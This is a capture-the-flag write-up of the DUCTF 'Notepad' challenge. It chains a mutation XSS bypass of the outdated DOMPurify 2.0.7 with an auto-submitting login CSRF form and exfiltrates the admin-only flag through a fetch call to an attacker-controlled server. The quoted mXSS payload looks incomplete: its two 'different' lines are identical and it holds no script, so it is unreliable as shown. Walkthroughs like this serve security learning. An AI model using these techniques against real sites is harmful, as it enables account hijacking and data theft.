Tags: csrf xss 

Rating:

# Notepad
Challenge description:
>I made a markdown editor for all your hacking notes! \
> Author: todo#7331

To begin the challenge, we can access a website where we can post notes:
![](https://i.imgur.com/wK82xz3.png)

After logging in, we can edit and view our notes + we can report a bug to the admin:

![](https://i.imgur.com/wG2E2cp.png)

The "Report a Bug" button is an indicatior that an XSS is involved in the challenge... As you can see from our last image, it's possible to insert HTML in our notes. However, they are using two JS libraries before inserting our input on the page: DomPurify and ShowdownJS.

```javascript=
const converter = new showdown.Converter();
// http://showdownjs.com/ -> Markdown to HTML converter

// some stuff here...

if(view === 'view') {
markdown.innerHTML = DOMPurify.sanitize(converter.makeHtml(editor.value));
}
/*
* What is inside the note's textarea (text we can edit) is taken with "editor.value"
* Then Showdown converts it to HTML and DOMPurify sanitizes it
* Finally, our input is added to the page using innerHTML (dangerous...)
*/
```

Showdown is used to convert Markdown to HTML and DomPurify is responsible for removing any dangerous tags - that could cause an XSS for example.
Looking at the versions of these libs:
- DomPurify 2.0.7 -> old!!! latest version is 2.3.3
- Showdown 1.9.1 -> latest version

DomPurify is outdated and by looking at possible vulns in its version 2.0.7 [here](https://snyk.io/vuln/npm:[email protected]), we find something related to mXSS...

We had to try some stuff until we where able to trigger the mXSS... These 2 worked:
```htmlmixed=
<math><mtext><table><mglyph><style><math><table id="</table>"\>

<math><mtext><table><mglyph><style><math><table id="</table>"\>
```

So, we can execute any Javascript code in our notes' page!

Now we probably need to make an admin visit our page. To do that, we need to find a way to authenticate the admin as ourselves.

It's not possible to insert the challenge's page in iframes because of this:
```python=
@app.after_request
async def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
resp.headers['X-Frame-Options'] = 'none'
# 'X-Frame-Options: 'none' doesn't exists. Should've been "deny", but this doesn't matter because frame-ancestors 'none' makes X-Frame-Options obsolete
return res
```

However, there's no CSRF token. We can try to send the admin to a server we control. From there, we log the admin in our account. The "Report a bug" page allows sending pages from other domains.

So, we need to server a page that forces the admin to login with our user. The page will be something like this:
```htmlmixed=

<html>
<body>
<form action="https://web-notepad-f6ed1a7d.chal-2021.duc.tf/login" method="POST" id="abc">


<label for="username">Username</label>
<input id="username" type="text" name="username" value="our_user" required>



<label for="password">Password</label>
<input id="password" type="password" name="password" value="our_password" required>


<button class="button primary">Login</button>
</form>
<script>
document.getElementById('abc').submit();
</script>
</body>
</html>
```

Moreover, looking again at the `app.py` file we where given, we see that there's an `/admin` route we can't access - only admins can. So, to reach the flag, we can make the real admin visit the `/admin` page and send the flag to us.
```python=
@app.route('/admin')
async def admin():
if quart.session.get('admin') != 1:
return "", 403
return open('flag.txt').read()
```

With this in mind, we can create and store our XSS payload in `/me`:
```htmlmixed=
<math><mtext><table><mglyph><style><math><table id="</table>"\>
```

Then, we just "Report a Bug" to admin, passing our server in the URL field. What will happen is:
1. Admin will access our page submit a form to the challenge website, logging in as ourselves;
2. They will be redirected (after the login) to the challenge website, going into our notes page (user is redirected to `/me` after login);
3. The XSS payload stored in our notes will trigger;
4. The javascript in our payload will make the admin (logged in our account) request the content of the `/admin` page, reading the flag and storing it in `res`;
5. The flag will be send to us with `fetch('https://<our_server>/a='+btoa(res)))`.

Done! We just need to check the requests made to our server and we find the flag base64 encoded:
![](https://i.imgur.com/bIkgkSw.png)

**FLAG: DUCTF{ch4ining_c5rf_c4uses_cha0s_2045c24d}**